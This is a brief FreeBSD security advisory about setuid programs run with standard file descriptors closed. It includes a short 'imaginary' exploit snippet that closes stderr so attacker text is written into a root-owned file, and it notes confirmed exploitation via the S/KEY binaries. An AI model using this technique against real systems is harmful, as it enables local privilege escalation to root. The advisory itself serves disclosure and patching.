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Suid Application Execution May Give Local Root

SUMMARY

It is possible for a local user under the FreeBSD operating system to
execute a suid application with its stdin, stdout, or stderr closed.

DETAILS

Consider the following (imaginary) suid application:
– begin of imaginary code snippet

FILE * f = fopen("/etc/root_owned_file", "r+");
if(f) {
fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);
fclose(f);
}

– end of imaginary code snippet

Now, consider the following (imaginary) exploit:

– begin of imaginary exploit snippet

while(dup(1) != -1);
close(2);
execl("/path/to/suid_application", "this text will endup in the
root_owned_file", 0);

– end of imaginary exploit snippet

Exploitation has been confirmed using the S/KEY binaries.

Impact:
High. Local users should be able to gain root privileges.

Solution:
FreeBSD source trees have been updated on the 21th of april 2002. Please
cvsup.

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> Joost Pol.

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